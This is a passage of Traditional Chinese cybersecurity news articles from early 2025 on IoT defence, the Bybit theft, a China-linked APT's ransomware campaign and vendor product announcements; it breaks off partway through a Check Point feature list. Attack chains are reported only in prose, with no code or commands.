04 03 2025
IoT安全從根本出發:硬體可信執行環境到網路行為分析的系統防禦架構
本文擷取自資安人
在數位化時代,物聯網(IoT)裝置數量激增,為企業和家庭帶來便利的同時,也產生了嚴峻的安全挑戰。資安人媒體近期獨家採訪了Check Point Software Technologies公司的IoT、威脅防禦和安全管理產品負責人Eyal Manor以及首席技術官兼產品漏洞研究主管Oded Vanunu,深入探討IoT安全領域的關鍵問題與應對策略。
IoT安全的主要挑戰
Eyal Manor指出,當前IoT安全管理最大的缺口是「缺乏緊迫感」。雖然企業清楚知道自己有多少用戶、多少筆記型電腦,但對於路由器、邊緣裝置的數量及其使用的密碼等基本資訊卻知之甚少。
「過去18個月,我們發現許多邊緣裝置如交換機、路由器、遠端存取裝置等存在可被攻擊者利用的漏洞。這個問題橫跨所有供應商:思科、Fortinet、Palo Alto、Check Point等都曾被攻破。」Manor表示。
這種攻擊路徑特別危險,因為邊緣裝置本身就處於網路的入口位置。當這些裝置被攻破時,攻擊者可以繞過傳統的網路安全措施,直接進入內部網路。Manor解釋,這些遍布企業環境的裝置(如印表機、IP攝影機等)成為攻擊者眼中理想的入侵目標,主要原因在於它們往往長期運行而不中斷、安全更新頻率極低,且通常處於企業安全團隊的監控盲區,缺乏與傳統IT系統相同程度的安全管理與漏洞修補機制。
從技術角度分析,Manor指出這類威脅呈現出清晰的攻擊演化週期:起初具備高級技術能力的政府級APT組織發現並利用未公開的零日漏洞,針對特定高價值目標實施精準攻擊;當這些漏洞隨後被安全研究人員發現並公開披露後,相關攻擊工具逐漸商業化;最終,這些曾經的高級攻擊手段流入普通網路犯罪分子手中,被用於對大量未修補裝置的廣泛攻擊行動。
Manor特別強調,這種攻擊技術從國家級到犯罪級的「外溢」現象,已成為IoT安全領域面臨的最大挑戰之一,顯著提高防護工作的複雜度和緊迫性。
Check Point Software Technologies公司IoT、威脅防禦和安全管理產品負責人Eyal Manor
攻擊者的思維模式與技術分析
Oded Vanunu深入解析了攻擊者如何從技術層面利用IoT裝置的弱點。他指出,每個IoT裝置的安全性評估必須從硬體和軟體兩個核心維度進行分析。
Vanunu解釋,「從攻擊者角度看,硬體層面包括所有的晶片組和硬體處理器,每一個都有其相應的軟體和韌體。當攻擊者獲取目標裝置後,他們首先進行韌體提取,通常透過尋找UART或JTAG接口,或直接對閃存晶片進行讀取操作。隨後進行逆向工程,分析韌體架構,尋找軟體中的記憶體管理缺陷、驗證機制漏洞或加密實現錯誤,最終達到在裝置上執行任意程式碼的目的。」
他以實際案例說明這些安全風險:「在Check Point進行的研究中,我們對亞馬遜Alexa平台進行深入分析,發現其技能驗證機制中存在安全缺陷。透過利用這些漏洞,我們成功上傳惡意技能並執行了越權操作,最終實現了對裝置的控制,並能存取用戶敏感資訊。」他進一步補充:「我們的研究團隊也在LG智慧家庭生態系統中識別出API請求處理的邏輯缺陷,同時在DJI無人機系統中發現了身份驗證機制的漏洞,這些缺陷允許未經授權的存取,使攻擊者可以獲取用戶雲端帳戶中的個人照片和精確位置資訊。」
從攻擊面分析,Vanunu指出兩個關鍵問題:首先是數量龐大的IoT裝置構成了過於寬廣的攻擊面。家用IoT裝置(如攝影機或智慧家庭裝置)數量最多,因此最容易受到大規模攻擊。相比之下,工業控制系統(OT)裝置因其專用性質,通常需要攻擊者採取更有針對性的「量身定制」方法,主要出現在國家支持的攻擊中。
其次是供應鏈安全問題。「供應商優先考慮成本控制和上市速度,經常忽略安全設計。」Vanunu解釋,「這導致許多IoT裝置使用未修補的開源元件、過時的加密庫、硬編碼的憑證和不安全的通訊協議,為攻擊者提供了多個入侵點。」
Check Point Software Technologies公司首席技術官兼產品漏洞研究主管Oded Vanunu
關鍵安全原則與技術解決方案
Manor與 Vanunu認為IoT裝置的防禦需要多層次防禦架構的技術實現方案,有四個關鍵點:
1. 網路行為分析與異常檢測
Manor介紹Check Point的防護方法,「我們開發的解決方案利用現有網路安全設備的部署位置優勢,建立IoT裝置網路行為基線模型。系統透過機器學習演算法分析網路流量特徵,包括連接頻率、通訊協議使用模式、數據流量大小和時間分佈等維度,精確識別裝置類型及其預期功能。」
這種基於行為分析的方法特別適用於IoT環境,Manor解釋:「以智慧電視為例,系統會學習其正常行為模式,如定期連接特定的內容伺服器。如果突然嘗試連接未知IP地址,或者產生異常的DNS查詢模式,系統會立即識別並阻止這種可疑活動。」這有助於彌合用戶在映射裝置和了解網路活動方面的不足。
2. 硬體安全根基與韌體完整性
Vanunu強調了硬體安全的技術細節:「有效的IoT安全必須從晶片級安全開始,包括安全啟動(Secure Boot)機制、硬體安全模組(HSM)和可信執行環境(TEE)的實現。」他解釋,解決這個問題的關鍵是確保IoT裝置在製造階段就建立信任根(Root of Trust),實現韌體的加密簽名和驗證機制,防止未經授權的韌體修改或替換。
Check Point的解決方案在IoT產品硬體層級整合了安全功能,並設計了專用的安全協處理器,可確保即使主處理器被攻破,關鍵安全功能仍能保持隔離和保護。
3. 網路層深度封包檢測
Manor並提及網路層保護技術對物聯網安全的關鍵性,「我們的方案實現了特定於IoT協議的深度封包檢測(DPI)能力,可解析和理解各種物聯網專用協議,如MQTT、CoAP、BACnet和Modbus等。」這些協議特定的分析引擎能夠識別協議異常和惡意負載,即使在加密流量中也能檢測出行為異常。
Manor解釋,「與傳統的IP-和端口-為基礎的過濾不同,我們的解決方案採用上下文感知的安全策略,考慮裝置類型、通訊模式和時間因素等多維度特徵。這使我們能夠精確區分正常操作和可能的攻擊行為,大大減少誤報率。」
4. 基於身分的存取管理
「在IoT環境中,精確識別裝置身分並實施適當的存取控制是核心安全挑戰之一,」Vanunu強調,「為解決這一問題,我們開發了裝置識別驅動的微權限控管架構,這套架構超越了傳統的網路參數識別方法,綜合分析裝置指紋特徵、行為模式以及運行環境等多維度上下文資訊,從而實現更精準的安全控制。」
Vanunu特別指出了零信任架構在IoT環境中的適應性挑戰:「雖然零信任模型理論上適用於IoT環境,但在實踐中,大多數製造商缺乏實施它所需的技術能力和資源。Check Point通過網路層面的安全控制彌補了這一差距,提供了不依賴於終端裝置能力的保護層。」
法規框架與技術合規
Manor與 Vanunu皆提及法規在推動IoT安全標準化方面的重要性,並提供了技術合規的具體建議。
「法規是推動整個產業採納安全實踐的關鍵驅動力,」Manor強調,「GDPR的實施就是一個顯著例子,它迫使企業重新評估數據保護策略,包括IoT裝置收集的敏感資訊。」這種監管框架建立了明確的責任歸屬和違規懲罰機制,為企業提供了強大的合規動力。
Manor特別提到美國拜登政府推出的U.S. Cyber Trust Mark計劃:「這一計劃針對消費類IoT產品建立了基本的網路安全標準,包括唯一識別碼要求、漏洞披露政策、數據保護和軟體更新能力等關鍵技術要求。」這種標準化認證機制使消費者能夠識別符合基本安全標準的產品,同時為製造商提供了明確的技術規範。
Vanunu從技術角度補充了法規實施的具體方向:「有效的IoT安全法規應該包含密碼編譯要求,如強制實施加密通訊協議(如TLS 1.3)、禁止使用已知脆弱的加密算法、要求韌體更新使用安全的數位簽名機制等。」他表示,法規還應要求製造商實施安全開發生命週期(SDLC)流程,包括威脅建模、程式碼審查和滲透測試等環節。
「從技術實現角度看,理想的監管框架應要求IoT裝置支持安全的遠端更新機制,包括韌體完整性驗證、回滾能力和部分更新功能,」Vanunu解釋,「同時,還應該建立標準化的漏洞披露流程和產品生命週期支持政策,確保裝置在整個使用期間能夠獲得安全更新。」
用戶防禦策略與技術實施
針對企業環境中難以更新或替換的舊式IoT裝置,Vanunu提供了一系列技術性防禦策略。「網路隔離是保護舊式IoT裝置的首要措施。組織應實施網路分段,將IoT裝置置於獨立的VLAN中,並使用ACL(存取控制列表)和狀態檢測防火牆嚴格控制進出流量。」這種隔離措施能有效限制橫向移動的可能性,即使某個裝置被攻破,也能將影響範圍控制在有限區域內。
Vanunu進一步強調了多層次存取控制的技術實現:「應用層代理(Application Proxy)和NAT(網路地址轉換)可以有效隱藏內部IoT裝置的直接存取路徑。同時,實施基於憑證的存取控制和多因素認證(MFA)機制,能夠顯著提高身分驗證的強度。」他特別提到,對於具有Web管理介面的IoT裝置,應考慮部署Web應用防火牆(WAF)以防禦常見的Web攻擊向量。
在監控與異常檢測方面,Vanunu建議實施網路流量分析(NTA)和SIEM解決方案:「透過網路流量基線分析,可以迅速識別異常連接模式和可疑的數據傳輸行為。結合DNS查詢監控和防止IoT裝置發起外部連接的出站過濾(Egress Filtering),能夠有效阻止受感染裝置的指揮與控制(C&C)通訊。」
「IoT裝置的關鍵問題是缺乏更新機制和安全意識,」Vanunu補充道,「但即使面對這些限制,組織仍可以透過網路層面的防禦措施和全面的可視性工具,建立有效的防護體系。定期進行網路掃描以識別所有連接的裝置,實施強力密碼政策,並維護詳細的IoT資產清單,這些基本措施能顯著提升整體安全狀態。」
Vanunu強調,這些防禦措施不應被視為一次性工作,而應納入組織的持續安全運營中:「定期的漏洞評估、滲透測試和安全配置審查是維持IoT環境長期安全的基礎。」
未來趨勢與技術展望
Vanunu補充了幾個關鍵的技術發展方向:「我們看到AI驅動的防禦系統正在崛起,這些系統能夠通過深度學習模型預測和識別以前未見過的攻擊模式。同時,區塊鏈技術也在IoT認證和身分管理方面顯示出潛力,提供去中心化的信任機制。」他特別提到了他正在開發的針對區塊鏈的新型防火牆產品,這是應對新興數字資產威脅的創新解決方案。
Manor與 Vanunu一致認為,未來的IoT安全將更加注重 Security by Design 和自動化安全響應能力。Manor強調:「隨著5G和即將到來的6G網絡的普及,物聯網裝置的連接性和數量將呈指數級增長,這使得手動監控和管理變得不可行。自動化威脅檢測和響應系統將成為必要。」
正如Manor所強調的:「我們需要對IoT和移動裝置給予與其他IT資產同等水平的關注和技術投入。在當今的威脅環境中,這已經成為最顯著的攻擊向量之一,其重要性只會隨著時間的推移而增加。」
IoT安全從根本出發:硬體可信執行環境到網路行為分析的系統防禦架構
24 02 2025
Bybit遭駭,15億美元加密貨幣損失創歷史紀錄
本文擷取自資安人
加密貨幣交易所Bybit於2月21日證實,一名駭客透過「複雜的攻擊手法」成功竊取該交易所知冷錢包(離線錢包)價值超過15億美元的加密貨幣,創下史上最大單筆加密貨幣竊案紀錄。
根據Bybit的說明,此事件發生在UTC時間2025年2月21日中午12:30左右,當時正在進行例行性的資金轉移作業。Bybit在社群媒體上發文表示,當Bybit的ETH多重簽名冷錢包在執行向熱錢包轉帳時,這筆交易遭到操縱。攻擊者透過精心設計的介面欺騙,顯示正確的地址但暗中修改了智慧合約邏輯。
技術分析
Check Point Research表示,這次攻擊揭示了一個新的攻擊模式,其中攻擊者透過Gnosis Safe Protocol的execTransaction功能操縱合法交易。這說明即使是多重簽名冷錢包,如果簽署者受到欺騙或遭到入侵,也無法確保安全,凸顯了供應鏈和用戶介面操縱攻擊的日益複雜化。
根據區塊鏈分析顯示,攻擊者已將竊取的約401,346顆ETH中的10,000顆分散轉移至48個不同地址,顯示資金正在進行洗錢過程。竊取的資產包括ETH和stETH,總價值超過15億美元。
調查與歸屬
資安研究機構TRM Labs與Elliptic的調查顯示,此次攻擊極可能是由北韓駭客組織Lazarus Group所為。TRM Labs表示,他們是基於「Bybit駭客控制的地址與先前北韓竊案關聯地址之間存在大量重疊」而做出此判斷。獨立研究員ZachXBT也指出,他們已經在區塊鏈上發現此次Bybit攻擊與上個月Phemex交易所遭駭事件有關聯。
根據Check Point Research的分析,這次攻擊凸顯駭客手法已進入新階段,尤其是在用戶介面操縱方面的技術提升。Check Point解釋,「攻擊者不只是利用協議機制的漏洞,還透過操縱介面進行高階社交工程,成功突破了重要的機構級多重簽名設置。」
影響與回應
Bybit執行長Ben Zhou強調,交易所的其他冷錢包均安全無虞,客戶資金也未受影響。「即使這筆損失無法追回,Bybit仍具備償付能力,所有客戶資產都有1:1的準備金支持,我們有能力承擔這筆損失。」
根據區塊鏈分析公司Chainalysis的資料,北韓駭客組織在2024年透過47次加密貨幣攻擊,總共竊取了約13.4億美元,佔該年度所有非法獲取加密貨幣的61%。此次Bybit事件的損失金額已超過先前Ronin Network(6.24億美元)、Poly Network(6.11億美元)和BNB Bridge(5.86億美元)等重大事件。
目前Bybit已向相關執法單位報案,並與外部區塊鏈鑑識專家合作調查此事件。公司也歡迎具有相關專業的團隊協助追蹤被盜資金。
Bybit遭駭,15億美元加密貨幣損失創歷史紀錄
24 02 2025
AI浪潮下的資安重整:專訪Check Point新任執行長Nadav Zafrir
本文擷取自資安人
在當今資安威脅日益複雜的環境下,資安產業正面臨重要轉捩點,人工智慧與雲端安全快速發展正在重塑企業防護數位資產的方式。Check Point Software Technologies迎來重要的領導層變動,創辦人Gil Schwed在掌舵超過30年後選擇退位,由曾領導以色列精銳8200單位、後來共同創立資安智庫Team8的Nadav Zafrir接任執行長一職。資安人特別專訪這位具有豐富經驗的新任領導者,探討他對公司的願景、當前面臨的重大挑戰,以及Check Point如何在快速變遷的資安版圖中持續領先。
Q:您在Team8和8200單位的經歷如何塑造您的領導風格?
Zafrir:我投身資安領域已近30年,那時甚至還沒有「網路安全」這個詞。我從多個角度看待這個產業:作為攻擊者、防禦者,也從戰略層面理解國家級基礎設施的需求。在Team8期間,我有機會與超過20家公司密切合作,深入了解威脅如何演變,以及企業如何預測和應對這些威脅。
這些經驗讓我深信,創新必須具備規模化能力,這正是Check Point致力追求的目標:開發大規模、負責任的資安解決方案。在當今高度互連的世界中,複雜性已經達到前所未有的程度,企業、個人和政府都必須在安全性與功能性之間找到平衡點。
Q:作為新任執行長,您首要加強客戶互動並優化市場策略,目前有什麼發現?客戶最關注什麼?
無論規模大小,所有組織都依賴相同的軟體,這使得私部門與政府之間的合作變得至關重要。法規框架應該以結果為導向,設定共同目標,同時讓私部門決定實現這些目標的最佳方法。在Check Point,資安不僅是一種熱情,更是一項使命。我們的Infinity平台旨在成為保護混合網格架構的領先解決方案,它是一個可以無縫整合本地和雲端環境的安全框架。
我們的客戶和合作夥伴認識到AI正在帶來自網際網路誕生以來最重大的轉變之一。他們最關注的是攻擊者與防禦者之間的不對稱性。攻擊者靈活度高,能快速採用新技術,導致新型攻擊方式層出不窮。企業正在應對複雜的網路基礎設施,面臨關鍵抉擇:是採用單一、全方位的資安解決方案,還是整合來自不同供應商的最佳解決方案。
Check Point的Infinity平台通過提供統一、優化的解決方案來解決這個困境。許多客戶感受到分散式安全系統的限制,我們認為以平台為基礎的方法是最佳途徑。
此外,為因應資安威脅的多樣化,我們提出「開放生態系統」策略,積極與產業領導廠商建立合作關係,像是近期與Wiz在雲端安全的策略結盟。面對生成式AI帶來的新興挑戰,這種開放合作的方式更顯重要,讓我們能靈活應對其難以預測的發展趨勢。
然而,有一點始終不變:組織必須理解使用者意圖和角色才能做出明智的資安決策。我們運用AI技術和大型語言模型(LLMs)強化防禦能力,即使面對攻防不對稱的挑戰,也能協助企業更有效地偵測威脅、簡化資安管理流程。
Q:Check Point在亞太地區實現最高增長(19%),這與許多優先考慮北美市場的資安公司形成對比。您如何看待亞太市場與其他地區的比較?那裡有什麼最大機遇?
Zafrir:亞太地區是一個龐大且快速擴張的市場。在加速亞太地區業務的同時,我們也在歐非中東和美洲保持強勁發展。
我們的全球布局以三大核心技術為基礎:雲端安全、新世代防火牆以及電子郵件防護,藉此打造完整的混合網路安全架構。以Infinity平台為核心,我們提供全方位的資安防護,完整覆蓋企業的本地環境、邊緣運算到雲端服務。隨著亞太地區加速數位轉型,企業對於這種整合式資安解決方案的需求愈發殷切。
Q:Check Point未來一年的主要增長動力是什麼?您認為政治變化,如美國新政府上台,可能如何影響資安產業?
Zafrir:變化是永恆的,無論是技術、領導風格還是全球地緣政治。這種波動意味著網路威脅將持續演變,要求我們更具創新性和前瞻性。
為強化技術優勢,我們選擇在全球科技重鎮特拉維夫和紐約設立以AI為核心的資安研究中心。這些研究中心不僅致力於預警新型態網路威脅,更要前瞻性的研究資安技術的創新發展。在瞬息萬變的資安領域,具備超前部署的戰略思維,及早因應未知威脅,是維持產業領導地位的關鍵。
Q:隨著網路威脅升級,您如何看待未來五年的資安挑戰,Check Point又將如何應對?
Zafrir:AI為資安領域帶來全新局面。就威脅面而言,攻擊者能以更低成本、更靈活的方式擴大攻擊範圍,加速網路犯罪的演進。但我對防禦技術的發展深具信心。透過AI智慧防禦系統的精準分析和快速應變能力,再加上自動化威脅偵測與回應機制,企業和政府必能重新掌握資安主動權。
以Check Point為例,我們特別關注雲端安全這個AI應用的主戰場。我們採取整合式策略,將先進的防火牆、智慧分段等核心技術,與策略夥伴(如Wiz)的專業優勢相結合。我們不再將雲端與本地環境視為獨立區塊,而是打造一個能因應現代IT架構的統一資安框架,協助企業全面提升防禦能力。
Q:資安市場競爭激烈,既有新創公司也有老牌企業。什麼核心價值讓Check Point與眾不同?
Zafrir:透明、誠信,以及對創新的堅定承諾。我們對當前資安狀況保持坦誠,也清楚了解自己的優勢所在。
我們的創新理念是把它當作生命攸關的事情來做,因為在很多方面,確實如此。但創新必須具備責任感、可擴展性,並且開放協作。歸根結底,客戶至上,為了最好地服務客戶,我們必須與生態系統中的其他供應商合作。我們的目標是提供最全面、最有效的資安解決方案,同時保持對誠信和卓越的堅定承諾。
隨著Check Point加強研究力度並擴大合作夥伴關係,Zafrir明確表示:資安的未來將由適應性、創新力,並以使命為導向的方法來定義,而Check Point將持續致力於保護全球企業和政府的數位資產安全。
AI浪潮下的資安重整:專訪Check Point新任執行長Nadav Zafrir
24 02 2025
Sophos 與 Pax8 宣布成為策略合作夥伴,簡化安全管理
本文擷取自資安人
Sophos 宣布與 Pax8 達成策略合作夥伴關係。透過此次合作,Pax8 網絡內超過 40,000 家託管服務供應商 (MSP) 可獲得全面的資安解決方案組合。Pax8 網絡內的 MSP 現在可透過單一供應商取得業界頂尖的資安解決方案,包括 Sophos Managed Detection and Response (MDR)、由 Intercept X 支援的 Sophos 端點防護以及 Sophos Firewall,打造一站式的資安服務。此舉將為通路合作夥伴帶來變革性優勢,協助簡化營運、整合計費流程,並大幅降低跨客戶的資安管理複雜度。
根據《Sophos MSP Perspectives 2024》報告,將安全技術整合至單一供應商的 MSP,可將每日安全管理時間減少近一半,若 MSP 原本需管理六家或更多安全供應商,這個數字更可提升至 69%。透過與 Pax8 合作,Sophos 可協助 MSP 移除關鍵的營運障礙,使其能透過單一供應商平台無縫管理資安,簡化解決方案整合並提升營運效率,同時強化整體安全防護,以及簡化雲端採購流程。
Sophos 執行長 Joe Levy 表示,Sophos 與 Pax8 在使命上高度契合,致力於為 MSP 提供端到端安全服務與產品,同時簡化解決方案的生命週期管理並降低營運負擔。MSP 希望與容易合作的供應商建立夥伴關係,而這項協議將進一步提升 MSP 與 Sophos 的合作便利性,這也是我們始終堅持的承諾。透過與 Pax8 的合作,MSP 能夠更快速取得關鍵的資安工具,幫助他們在日益複雜與動盪的威脅環境中為客戶提供更強大的防護。
Sophos 與 Pax8 攜手合作,為 MSP 帶來的關鍵優勢包括:
拓展新營收機會:透過 Pax8 Marketplace,MSP 可從單一供應商獲得最全面的安全解決方案組合,提升市場競爭力。
降低營運成本,提升可創造營收的時間:透過 Pax8 Marketplace 的無縫整合,可簡化採購與計費流程,減少管理負擔。
強化 MSP 資源與支援:提供協作式 MSP 賦能計畫、技術支援與銷售培訓,確保合作夥伴能獲得最佳體驗。
提供 Microsoft Defender 用戶最完善的 24/7 全天候安全防護:透過 Sophos MDR 服務,確保 MSP 能為 Microsoft 環境的客戶提供相容且全面的安全防護。
Pax8 執行長 Scott Chasin 表示,現今的 MSP 需要與其營運模式相契合的解決方案——以雲端為優先,具備彈性,並且易於大規模管理。Pax8 正在革新 MSP 存取與部署雲端解決方案的方式,而資安則是其中不可或缺的重要環節。透過將 Sophos 的創新資安解決方案引入我們的 Marketplace,Pax8 能為合作夥伴提供企業級資安解決方案,讓他們的中小型企業客戶能夠更輕鬆地管理安全、降低風險,並提升盈利的能力。
Sophos 的解決方案由 Sophos X-Ops 提供即時威脅情報支援,該全球專家團隊由威脅獵人與安全分析師組成,可透過 AI 驅動的主動防護有效抵禦網路攻擊。作為全球領先的託管式偵測與回應 (MDR) 服務供應商,Sophos 為超過 28,000 家企業提供資安防護。Sophos MDR 提供的情報還可進一步強化 MSP 與其客戶的安全性,透過自動化威脅偵測、託管式回應,以及 Sophos 產品組合的深入安全洞察,可協助 MSP 提升防禦能力、降低風險暴露,提供企業級保護同時減少管理複雜度。
強化 Microsoft 環境安全
超過 60% 的 Sophos MDR 客戶是經由 MSP 管理,這讓 Sophos 對 MSP 託管環境下的攻擊模式具備獨特且深入的洞察。Sophos 利用這些情報即時更新客戶的防禦機制,以確保 MSP 客戶能夠應對不斷演變的攻擊,為企業與合作夥伴提供更安心的防護。此外,透過 Sophos 的 Microsoft 環境 MDR 服務,Pax8 的 MSP 能夠大幅提升使用 Microsoft Defender 之客戶的安全性,讓客戶在 Microsoft 投資上獲得更高的價值回報。
透過 Pax8 提供的 Sophos MDR 服務,MSP 可獲得多方面支援。他們可以選擇完全採用 Sophos 的託管服務,或用來強化客戶內部團隊的防護能力,其中涵蓋 夜間與週末等關鍵時段,這些時間往往是攻擊者最常發動攻擊的時機,因此加強防禦至關重要。此外,對於提供內部 MDR 服務的 MSP,Sophos XDR 內建的 AI Asssistant 可利用 Sophos MDR 分析師的第一線情報,協助各種技能層級的安全營運人員更快速地識別與化解威脅。
Sophos 解決方案將於 2025 年 2 月 28 日 正式登陸 Pax8 Marketplace。
Sophos 與 Pax8 宣布成為策略合作夥伴,簡化安全管理
17 02 2025
中國 APT 組織走勒索攻擊路線!對受害企業索 200 萬美元贖金
本文擷取自資安人
賽門鐵克(Symantec)研究人員近期發現,一個與中國有關的進階持續性威脅(APT)組織「Emperor Dragonfly(帝王蜻蜓)」(又稱 Bronze Starlight)首次轉向勒索軟體攻擊,並向一家亞洲軟體服務公司索取 200 萬美元贖金,此舉標誌著中國國家級駭客組織與網路犯罪活動之間出現新的連結。
特殊的攻擊工具組合
根據賽門鐵克的報告,這起發生於 2024 年底的攻擊使用了一組特殊的工具,這些工具此前僅與中國間諜活動有關,特別是與 Mustang Panda 組織相關。攻擊者使用了東芝的合法執行檔 toshdpdb.exe 作為側載工具,連接惡意的動態連結函式庫(DLL)toshdpapi.dll,最終部署包含 PlugX 後門的惡意程式。
研究人員指出,這套工具組並非公開可得,且過去從未與一般網路犯罪活動有關。雖然中國駭客組織經常共享工具,但這些工具通常僅用於間諜活動。
攻擊者首先透過利用 Palo Alto PAN-OS 防火牆軟體的漏洞(CVE-2024-0012)入侵受害者網路。一旦成功入侵,攻擊者開始部署其特製的後門工具組。這個過程始於執行一個看似無害的東芝系統程式 toshdpdb.exe,該程式隨後會載入一個惡意的動態連結函式庫 toshdpapi.dll。這個 DLL 檔案作為載入器,會進一步解密並執行儲存在 TosHdp.dat 檔案中的主要惡意負載。
經過分析,這個惡意負載被確認為 PlugX 後門的變種,具有加密字串、動態 API 解析和控制流程平坦化等特徵。通過這個後門,攻擊者得以在受害者網路中建立持久性存在。
在取得立足點後,攻擊者開始橫向移動,從公司內部網路獲取管理憑證。接著利用這些憑證存取公司的 Veeam 備份伺服器,從中竊取了 Amazon S3 雲端存取憑證。攻擊者利用這些雲端憑證,得以竊取儲存在 S3 儲存桶中的敏感資料。
在完成資料竊取後,攻擊者部署了 RA World 勒索軟體,開始加密受害者的電腦系統。這個階段的攻擊還包括使用名為 NPS 的代理工具,這是一個與 Bronze Starlight 組織過往活動相關的工具。整個攻擊過程顯示出攻擊者具備高度的技術能力,能夠結合傳統的 APT 戰術與勒索軟體攻擊手法。
與過往間諜活動的關聯
賽門鐵克研究人員發現,使用相同工具組的入侵活動在 2024 年 7 月至 2025 年 1 月期間也曾針對多個政府與企業目標。這些目標包括一個東南歐國家的外交部、另一個國家的政府機構,以及多個東南亞地區的政府部門和電信營運商。然而,這些先前的攻擊都是以間諜活動為目的,並未涉及勒索軟體。
相關文章:Sophos揭露《紅宮行動》報告:中國國家支持的駭客組織鎖定東南亞政府機構
研究人員認為,這次勒索軟體攻擊最可能是 APT 組織成員利用其工作工具進行個人牟利。這個推論主要基於受害者的選擇與攻擊者的行為模式。首先,此次受害者並非具有戰略意義的組織,與過往間諜活動目標有明顯差異。其次,攻擊者確實投入時間與受害者溝通討論贖金事宜,這種行為模式與單純用於掩蓋間諜活動的障眼法不符。此外,攻擊者使用了名為 NPS 的代理工具,這與 Bronze Starlight 組織過去部署的不同勒索軟體有關,進一步證實了這一推測。
資安建議
本事件顯示國家級駭客組織與網路犯罪活動之間的界線日益模糊。資安專家建議組織應密切關注並及時修補關鍵系統漏洞,特別是防火牆等安全設備的更新。同時,應強化雲端服務的存取控制與監控機制,確保重要資料的備份,並定期測試復原程序的有效性。此外,組織需要建立完善的事件應變計畫,將具有國家級背景的勒索軟體攻擊納入考量範圍,相應調整防禦策略與應變措施。
中國 APT 組織走勒索攻擊路線!對受害企業索 200 萬美元贖金
13 02 2025
NVIDIA推網路安全 AI,攜手資安品牌護航關鍵基礎設施安全
本文擷取自資安人
生成式人工智慧的快速發展,為產業與研究領域的創新帶來無數機會。正如最先進的技術常見的情況,這種演進同樣改變了網路安全威脅的格局,產生出全新的安全需求。關鍵基礎設施的網路安全正在不斷進步,以嚇阻 AI 時代的下一波新興威脅。
Armis、Check Point、CrowdStrike、德勤(Deloitte)與 World Wide Technology(WWT)正在整合NVIDIA 網路安全 AI 平台,以協助客戶強化能源、公用事業和製造設施等關鍵基礎設施對抗網路威脅。
關鍵基礎設施在高度複雜的環境中運作,常常因數位轉型而加速整合 IT 與 OT,產生出資安漏洞的完美風暴。傳統的網路安全措施已經不足以應對這些新興威脅。
利用 NVIDIA 的網路安全 AI 平台,這些合作夥伴能夠為關鍵基礎設施環境提供極佳的可視性,並在維持設施持續運作的同時,實現強大且適應性高的安全功能。
平台整合了 NVIDIA 的加速運算與 AI,採用 NVIDIA BlueField-3 DPU、NVIDIA DOCA 及作為 NVIDIA AI Enterprise 一部分的NVIDIA Morpheus AI 網路安全框架。這個組合能夠實現即時偵測威脅,讓網路安全專業人員能夠在邊緣和整個網路迅速回應。
與傳統依賴侵入性方法或軟體代理的解決方案不同,BlueField-3 DPU 有著虛擬安全覆蓋的功能,可以在不中斷運作的情況下檢查網路流量與保護主機完整性。作為嵌入每一台伺服器裡的感測器,它們將遙測資料傳輸至NVIDIA Morpheus,以流暢且不影響運作的方式,實現主機活動、網路流量和應用程式行為的詳細監控。
推動各產業的網路安全創新
整合 Armis Centrix 的 AI 驅動Armis 網路暴露管理平台搭配 NVIDIA 網路安全 AI,協助確保能源、製造、醫療保健與運輸等關鍵基礎設施的安全。
CrowdStrike 透過在 BlueField-3 DPU 上部署 CrowdStrike Falcon 安全代理程式,以提升即時 AI 驅動的威脅偵測與回應能力,幫助保護 ICS 與 OT 等關鍵基礎設施的安全。
德勤使用 NVIDIA 網路安全 AI 平台推動客戶的數位轉型,以協助滿足突破性技術的需求,這些技術需要為資料中心網路提供即時且精細的可視性,以抵禦日益複雜的威脅。
AI 助力開創更安全的未來
NVIDIA 的網路安全 AI 平台結合生態系合作夥伴的專業知識,提供強大且可擴充的解決方案,保護關鍵基礎設施環境免受不斷演進的威脅。將 NVIDIA AI 與加速運算帶入 的最前線,可協助組織保護現在和未來最重要的事物。
NVIDIA推網路安全 AI,攜手資安品牌護航關鍵基礎設施安全
13 02 2025
Check Point 以 AI 創新升級 Infinity 平台,強化統一安全管理
本文擷取自資安人
Check Point Software Technologies Ltd. 日前於 CPX Vienna 宣佈推出多項 Infinity 平台新功能,加速實現零信任、強化威脅防禦、降低複雜性並簡化安全維運。
Check Point Software 首席產品長兼研發主管 Nataly Kremer 表示,由於各種安全解決方案複雜且孤立,安全團隊難以有效防範網路攻擊。Check Point 推出多項 AI 創新功能,旨在降低複雜性並強化 Infinity 平台的統一安全管理功能,為客戶帶來更佳的威脅防禦體驗,並可同時輕鬆搭配使用第三方產品。
許多組織仰賴孤立的安全防護方案,IT 團隊在網路、端點、電子郵件和雲端環境中,部署各種針對特定防護需求的安全工具。這種碎片化的安全防護方法需要管理多達數十種系統,帶來維運挑戰、過於分散的策略和安全漏洞風險。同時,網路攻擊次數逐年增長 44%,使安全防護團隊壓力倍增。
由於混合環境的獨立性,安全團隊需要跨數十種系統和工具審查並協調策略和流程,這些工作通常以手動方式執行,因此會降低維運速度,也導致零信任架構、威脅排除和基礎建設管理出現漏洞,從而增加網路攻擊和系統故障的風險。Check Point 全新升級的六大 AI 創新功能從以下三方面提升維運速度,並強化威脅防禦能力:
統一身份和策略
藉助 AI 和身份感知技術,管理員能實施更高效與精細的安全防護策略,確保只有授權使用者才能存取關鍵資源。統一跨環境的策略可視化與分析,有助於安全團隊維護安全防禦並確保合規性。
Quantum Policy Insights
分析現有策略並提出調整建議,以強化安全防護
透過消除過度寬鬆的存取權限和相互衝突的策略,強化零信任的執行
Quantum Policy Auditor
確保符合企業安全準則
使用策略可視化介面,快速辨識違反組織準則的策略
在數秒內分析數千條規則,透過將複雜的策略和規則轉化為直觀的圖形化業務洞察,幫助安全和審計團隊節省數周的繁瑣工作
Infinity Identity
可在整個 Infinity 平台執行集中式身份管理的雲端服務
與第三方身份驗證供應商無縫整合
支援新增新身份來源:Microsoft Defender、Microsoft Intune 與 Harmony Endpoint
協作式威脅防禦
AI 能幫助組織跨多個執行點即時辨識和攔截威脅,消除人為錯誤並縮短修復時間。
Infinity Playblocks
具備跨 Infinity 平台和第三方的安全防護自動化和調度功能
擴展孤島安全解決方案的覆蓋範圍,在整個企業內有效防範安全攻擊
提供超過 100 種開箱即用的 playbook,包括威脅防禦、自動修復與報告等
支援企業使用自然語言生成式 AI(GenAI)輕鬆建立自定義 playbook
維運簡易性
基於 AI 的洞察能有效減少繁瑣且易出錯的工作,有助於簡化整個安全堆疊的維運,從而強化達成零信任、優化生命周期管理,並縮短基礎建設的停機時間。
Infinity AIOps
